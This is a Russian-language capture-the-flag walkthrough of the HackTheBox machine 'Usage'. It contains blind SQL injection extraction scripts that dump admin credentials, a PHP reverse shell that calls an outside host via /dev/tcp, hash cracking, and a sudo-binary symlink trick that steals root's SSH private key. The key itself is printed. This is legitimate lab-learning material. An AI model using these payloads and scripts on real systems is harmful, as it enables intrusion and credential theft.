> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/usage-hackthebox-writeup.md).

# Разбор Usage на HackTheBox

{% embed url="<https://app.hackthebox.com/machines/597>" %}

{% hint style="warning" %}
Навыки:

* Перечисление поддоменов
* SQLI — слепая инъекция на основе булевых значений (ВРУЧНУЮ) + советы по Burp Suite
* Скриптинг на Python для эксплуатации SQLI
* Взлом хэшей
* Эксплуатация Laravel-admin (RCE через злоупотребление загрузкой файлов)
* Бинарный анализ (GHIDRA)
* Злоупотребление привилегией Sudoers + пользовательский бинарный файл для получения приватного SSH-ключа root (повышение привилегий)
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/4ef2ea90e675a18126cb1086ca8a77372fa44216" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/ba390e28f928eb7e075220b5461bc42800d9f513" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS -n -vvv -Pn --min-rate 5000 10.10.11.18 -oG allPorts
```

<figure><img src="/files/fac298194fa326ed036067d1f82d24d68ec3ad0e" alt=""><figcaption></figcaption></figure>

**Анализ открытых портов с помощью extractPorts:**

Используйте функцию extractPorts, чтобы отобразить открытые порты в кратком формате и скопировать их в буфер обмена (21,22,80)

<figure><img src="/files/234b61689bd1df5e58df47f9fa037abe6e377758" alt="" width="563"><figcaption></figcaption></figure>

Сканирование версий портов с помощью Nmap:

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p22,80 10.10.11.18 -oN targeted
```

<figure><img src="/files/98dee54d14143dd0da1f841cd02ef0baaaf8ed9e" alt=""><figcaption></figcaption></figure>

Чтобы преобразовать доменные имена в IP-адреса через DNS, мы вносим доменное имя, связанное с его IP-адресом, в `/etc/hosts` файл:

### Порт 80:

На порту 80 мы создадим учетную запись с вымышленным адресом электронной почты "`test@test.com`" в разделе регистрации.

<figure><img src="/files/e4b0fb7c6959a953c7e221ca7f891185c02caf4b" alt=""><figcaption></figcaption></figure>

## Уязвимость [SQLI](/ru/web/sql-injection.md):

Мы обнаруживаем панель сброса пароля, уязвимую к SQL-инъекции

<figure><img src="/files/34b927a363e6f2d7a3d9cdd9d65738bc266a3f6e" alt=""><figcaption></figcaption></figure>

. Перехватив запросы с помощью Burp Suite, мы получаем сообщение "*Мы отправили ваш пароль по электронной почте*".

<figure><img src="/files/4f1cf60591a437b09217b21deb02b6e3fb6d9ea5" alt=""><figcaption></figcaption></figure>

Когда мы пытаемся выполнить базовую SQL-инъекцию, она срабатывает, и мы снова получаем то же сообщение об ошибке, подтверждая, что инъекция работает. Тест базовой инъекции:

`iojfeifif' or 1=1-- -`

<figure><img src="/files/5557395b8964ddc7446d91d5455830be841a7b91" alt="" width="563"><figcaption></figcaption></figure>

### Условные ответы SQLI:

> Хотя результаты SQL-запроса не возвращаются и сообщения об ошибках не отображаются, приложение показывает на странице сообщение "Мы отправили ваш пароль по электронной почте", если запрос возвращает какие-либо строки.

Мы проверяем это предположение, выполняя условную инъекцию с использованием `substring` функции для извлечения первых букв имени базы данных.

Примеры инъекций:

* Проверка первой буквы имени базы данных:/ `dwwdw' or substring(database(),1,1)='u'-- -`
* Проверка второй буквы имени базы данных:/ `dwwdw' or substring(database(),2,1)='s'-- -`

<figure><img src="/files/34a352dfb24f83699215ec81ea3649ef5c7bb5ec" alt=""><figcaption></figcaption></figure>

### Перечисление имени базы данных:

Мы автоматизируем процесс обнаружения имени базы данных с помощью скрипта на Python, который отправляет запросы со специальными полезными нагрузками и извлекает результаты, когда сервер показывает ответ "Мы отправили ваш пароль по электронной почте".

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Обработка сигналов выхода
def def_handler(sig, frame):
    print("/n/n[!] Выход.../n")
    sys.exit(1)

# Ctrl + C для выхода
signal.signal(signal.SIGINT, def_handler)

# Расширенный набор символов (добавляйте больше спецсимволов по мере необходимости)
characters = string.ascii_letters + string.digits + "-/;.$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("SQL-инъекция")
    p1.status("Запуск SQL-инъекции...")
    time.sleep(2)

    p2 = log.progress("Извлеченные данные")

    for position in range(1, 20):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring(database(),{position},1)='{character}'-- -"
            }
            
            # Отправляем POST-запрос с полезной нагрузкой
            r = requests.post(main_url, headers=headers, data=payload)

            # Показываем текущий тестируемый символ в реальном времени
            p1.status(f"Тестируется позиция {position}: {character}")

            # Проверяем конкретный ответ от сервера, чтобы подтвердить правильный символ
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Если для этой позиции найден символ, переходим к следующей позиции
        if found_character:
            p1.status(f"Позиция {position} найдена: {data[-1]}")
        else:
            p1.status(f"Позиция {position}: символ не найден")

    p1.success("Брутфорс SQL-инъекции завершен")
    p2.success(f"Извлеченные данные: {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/ffc3d49c7688340560043ee174ccc2560bf0bf39" alt="" width="440"><figcaption></figcaption></figure>

### Перечисление базы данных:

Мы модифицируем полезную нагрузку, чтобы вывести список всех баз данных, присутствующих на сервере. Мы используем `group_concat` функцию `information_schema.schemata` базы данных, чтобы получить все доступные базы данных. Этот шаг позволяет обнаружить все присутствующие базы данных.

{% code overflow="wrap" fullWidth="false" %}

```sql
' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Обработка сигналов выхода
def def_handler(sig, frame):
    print("/n/n[!] Выход.../n")
    sys.exit(1)

# Ctrl + C для выхода
signal.signal(signal.SIGINT, def_handler)

# Расширенный набор символов (добавляйте больше спецсимволов по мере необходимости)
characters = string.ascii_letters + string.digits + "-,/;.$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("SQL-инъекция")
    p1.status("Запуск SQL-инъекции...")
    time.sleep(2)

    p2 = log.progress("Извлеченные данные")

    for position in range(1, 100):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)

            }
            
            # Отправляем POST-запрос с полезной нагрузкой
            r = requests.post(main_url, headers=headers, data=payload)

            # Показываем текущий тестируемый символ в реальном времени
            p1.status(f"Тестируется позиция {position}: {character}")

            # Проверяем конкретный ответ от сервера, чтобы подтвердить правильный символ
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Если для этой позиции найден символ, переходим к следующей позиции
        if found_character:
            p1.status(f"Позиция {position} найдена: {data[-1]}")
        else:
            p1.status(f"Позиция {position}: символ не найден")

    p1.success("Брутфорс SQL-инъекции завершен")
    p2.success(f"Извлеченные данные: {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/6dab2d008bfd41502eceb02630347cf9077a49d0" alt="" width="563"><figcaption></figcaption></figure>

### Список таблиц в `usage_blog` базе данных:

После того как мы нашли `usage_blog` базу данных, мы снова модифицируем полезную нагрузку, чтобы перечислить таблицы в этой базе данных. Мы используем `group_concat` функцию, чтобы получить имена всех таблиц в `usage_blog` базе данных.

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Обработка сигналов выхода
def def_handler(sig, frame):
    print("/n/n[!] Выход.../n")
    sys.exit(1)

# Ctrl + C для выхода
signal.signal(signal.SIGINT, def_handler)

# Расширенный набор символов (добавляйте больше спецсимволов по мере необходимости)
characters = string.ascii_letters + string.digits + "-,/.;$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("SQL-инъекция")
    p1.status("Запуск SQL-инъекции...")
    time.sleep(2)

    p2 = log.progress("Извлеченные данные")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character) 

            }
            
            # Отправляем POST-запрос с полезной нагрузкой
            r = requests.post(main_url, headers=headers, data=payload)

            # Показываем текущий тестируемый символ в реальном времени
            p1.status(f"Тестируется позиция {position}: {character}")

            # Проверяем конкретный ответ от сервера, чтобы подтвердить правильный символ
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Если для этой позиции найден символ, переходим к следующей позиции
        if found_character:
            p1.status(f"Позиция {position} найдена: {data[-1]}")
        else:
            p1.status(f"Позиция {position}: символ не найден")

    p1.success("Брутфорс SQL-инъекции завершен")
    p2.success(f"Извлеченные данные: {data}")

if __name__ == '__main__':
    sqli()
```

<div data-full-width="true"><figure><img src="/files/ea382df2a09078e2c6a7d89ef971c1b0b679f277" alt=""><figcaption></figcaption></figure></div>

### Перечисление столбцов таблицы `admin_users` таблице:

После того как таблицы определены, мы нацеливаемся на `admin_users` таблицу, чтобы перечислить ее столбцы. Мы снова используем `group_concat` функцию, чтобы получить имена столбцов этой конкретной таблицы.

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1
)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Обработка сигналов выхода
def def_handler(sig, frame):
    print("/n/n[!] Выход.../n")
    sys.exit(1)

# Ctrl + C для выхода
signal.signal(signal.SIGINT, def_handler)

# Расширенный набор символов (добавляйте больше спецсимволов по мере необходимости)
characters = string.ascii_letters + string.digits + "-,/;$._@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("SQL-инъекция")
    p1.status("Запуск SQL-инъекции...")
    time.sleep(2)

    p2 = log.progress("Извлеченные данные")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1)='%s" % (position, character) 

            }
            
            # Отправляем POST-запрос с полезной нагрузкой
            r = requests.post(main_url, headers=headers, data=payload)

            # Показываем текущий тестируемый символ в реальном времени
            p1.status(f"Тестируется позиция {position}: {character}")

            # Проверяем конкретный ответ от сервера, чтобы подтвердить правильный символ
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Если для этой позиции найден символ, переходим к следующей позиции
        if found_character:
            p1.status(f"Позиция {position} найдена: {data[-1]}")
        else:
            p1.status(f"Позиция {position}: символ не найден")

    p1.success("Брутфорс SQL-инъекции завершен")
    p2.success(f"Извлеченные данные: {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/47da74dd9828fee28454b4a78bde4b79f2c886f9" alt=""><figcaption></figcaption></figure>

### Отображение `username` и `пароль`:

Чтобы отобразить ID пользователей и пароли в `admin_users` таблице, SQL-запрос будет изменен так, чтобы объединять `username` и `пароль` поля

{% code overflow="wrap" %}

```sql
' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Обработка сигналов выхода
def def_handler(sig, frame):
    print("/n/n[!] Выход.../n")
    sys.exit(1)

# Ctrl + C для выхода
signal.signal(signal.SIGINT, def_handler)

# Расширенный набор символов (добавляйте больше спецсимволов по мере необходимости)
characters = string.ascii_letters + string.digits + "-:.,/;$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("SQL-инъекция")
    p1.status("Запуск SQL-инъекции...")
    time.sleep(2)

    p2 = log.progress("Извлеченные данные")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)

            }
            
            # Отправляем POST-запрос с полезной нагрузкой
            r = requests.post(main_url, headers=headers, data=payload)

            # Показываем текущий тестируемый символ в реальном времени
            p1.status(f"Тестируется позиция {position}: {character}")

            # Проверяем конкретный ответ от сервера, чтобы подтвердить правильный символ
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Если для этой позиции найден символ, переходим к следующей позиции
        if found_character:
            p1.status(f"Позиция {position} найдена: {data[-1]}")
        else:
            p1.status(f"Позиция {position}: символ не найден")

    p1.success("Брутфорс SQL-инъекции завершен")
    p2.success(f"Извлеченные данные: {data}")

if __name__ == '__main__':
    sqli()
```

`admin:$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2`

<figure><img src="/files/105f6131ae9120eae3bd6a92aef46444c006b233" alt=""><figcaption></figcaption></figure>

### Взлом пароля с помощью John:

После того как хэш пароля восстановлен, вы можете использовать **John** для его взлома с помощью словаря, например **rockyou.txt**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`admin:whatever1`

<figure><img src="/files/b39b92d82073023c2aa9479e22e2105f60c6e6b4" alt=""><figcaption></figcaption></figure>

#### Панель администратора:

<figure><img src="/files/f0e2a2de08fbc6bb17ee21e9a2f69f74bcbbb913" alt=""><figcaption></figcaption></figure>

После того как учетные данные найдены, можно подключиться к панели администратора, изменив `/etc/hosts` файл, чтобы добавить `admin.usage.htb` запись.

<figure><img src="/files/e017c5b311bdcaab3d218cf866aa81f789790341" alt=""><figcaption></figcaption></figure>

## Уязвимость загрузки файлов (Laravel-admin)

В приложении Laravel-admin есть раздел, который позволяет загружать аватар. Используя эту функцию, мы можем отправить вредоносный файл, чтобы получить несанкционированный доступ к серверу.

{% embed url="<https://flyd.uk/post/cve-2023-24249/>" %}

<figure><img src="/files/2feea29bb8c53cf2279ebce0812d90c7911cef55" alt=""><figcaption></figcaption></figure>

### **Шаги операции:**

1. **Перехват и модификация файла аватара**:
   * Перехватите запрос с помощью Burp Suite.
   * Измените значение `filename` переменной, чтобы добавить PHP-расширение после поддельного файла изображения, например: `hack.jpg.php`.

<figure><img src="/files/8fd8a4473cb1214c3c0d8ad452c633b83dffe67b" alt=""><figcaption></figcaption></figure>

* Содержимое файла должно быть обратной оболочкой, например:

```php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.9/443 0>&1'"); ?>
```

<figure><img src="/files/84bf5bef226a56cb41fb732a65d13fbe2564b143" alt=""><figcaption></figcaption></figure>

**Прослушивание с помощью Netcat**:

* Начните прослушивание на порту 443 с Netcat:

```bash
nc -nlvp 443 
```

<figure><img src="/files/8231e3cbd3749bbeedaaf9f37b078c59d9a92ac3" alt="" width="563"><figcaption></figcaption></figure>

Выполните следующие команды, чтобы сделать сеанс оболочки более интерактивным:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Флаг user.txt :)

<figure><img src="/files/8f08f22d73af9b9f3f0d94eec161e538fdf387bd" alt="" width="563"><figcaption></figcaption></figure>

## Повышение привилегий:

### Утечка информации

В директории пользователя `dash`, файл `.monitrc` доступен и содержит конфиденциальную информацию

<figure><img src="/files/31b1346f6efa5123ee5cd7e765c5e8c34364de83" alt="" width="563"><figcaption></figcaption></figure>

`admin:3nc0d3d_pa$$w0rd`

<figure><img src="/files/aa844c5d1badbe1e58b25de9f5b356be34c6fc9d" alt="" width="563"><figcaption></figcaption></figure>

Этот пароль соответствует пользователю `XANDER`.

<figure><img src="/files/e781df26beed860d6418376c4dbf709ce81cd65c" alt="" width="563"><figcaption></figcaption></figure>

### Злоупотребление бинарным файлом Sudoers:

Выполнив `sudo -l` команду от имени пользователя `xander`, мы обнаруживаем возможность запускать `usage_management` бинарный файл с тремя опциями:

1. *`Резервное копирование проекта`*
2. *`Резервное копирование данных MySQL`*
3. *`Сбросить пароль администратора`*

<figure><img src="/files/4a6ac44cb1d16b147609564724d6bdb15bc05655" alt=""><figcaption></figcaption></figure>

Выбрав первый вариант ("Резервное копирование проекта"), программа создает файл `.zip` с резервной копией от имени пользователя `root`.

<figure><img src="/files/e8dcd567f20916b4d31b725daeda8cdc0c255b2b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e15150ec294d07afa44986ec3b3c35b6d51ec124" alt=""><figcaption></figcaption></figure>

### Бинарный анализ (GHIDRA)

{% embed url="<https://github.com/NationalSecurityAgency/ghidra>" %}

Установите и запустите GHIDRA для анализа бинарного файла:

```bash
cd /opt
mkdir ghydra
cd !$
mv /home/jordan/Desktop/htb/Usage/exploits/ghidra_11.2.1_PUBLIC_20241105.zip .
unzip ghidra_11.2.1_PUBLIC_20241105.zip
./ghidraRun &> /dev/null & disown
```

<figure><img src="/files/7f0cf59e7c172214a651fe898f23beaacd6cc890" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ff49a236e0aca382ebe710e087b45ede7c8ee9ef" alt=""><figcaption></figcaption></figure>

* В `Резервное копирование проекта` функции мы наблюдаем, что эта функциональность сжимает содержимое `/var/www/html` в `project.zip` файл с правами root.

<figure><img src="/files/61a43cafc1ece5d11838d6b80294be7e9cf53a68" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks?source=post_page-----16397895490f-------------------------------->" %}

**Создание символической ссылки для доступа к SSH-ключу root**: Чтобы использовать эту функцию, создайте символическую ссылку на SSH-ключ root в `html` каталога

```bash
cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
```

<figure><img src="/files/e5b52f9055c68c319c1b52cdfba89cce666edacf" alt=""><figcaption></figcaption></figure>

**Запуск скрипта от имени root**:

* Запустите `usage_management` скрипта:

<figure><img src="/files/cdf79f97f17719ae890c2ede1d252fa4d15d6515" alt=""><figcaption></figcaption></figure>

* В `project.zip` файл, получите приватный ключ root (`id_rsa`).

<figure><img src="/files/7da34a16258d490d7f606f79d7e5194893f011c4" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW 
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi 
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----
```

**SSH-соединение с ключом root**:

* Используйте ключ, чтобы войти как root:

```bash
ssh -i id_rsa root@10.10.11.18
```

<figure><img src="/files/a80a97dc8dc5265b44ab325b70595769e8141f99" alt=""><figcaption></figcaption></figure>

### Флаг root :)

<figure><img src="/files/9442b03bca9e6340f4601713333e1eba3ed665d0" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/d75f5e65c456e7eb82aba4fd890abaa65663386f" alt="" width="516"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/usage-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
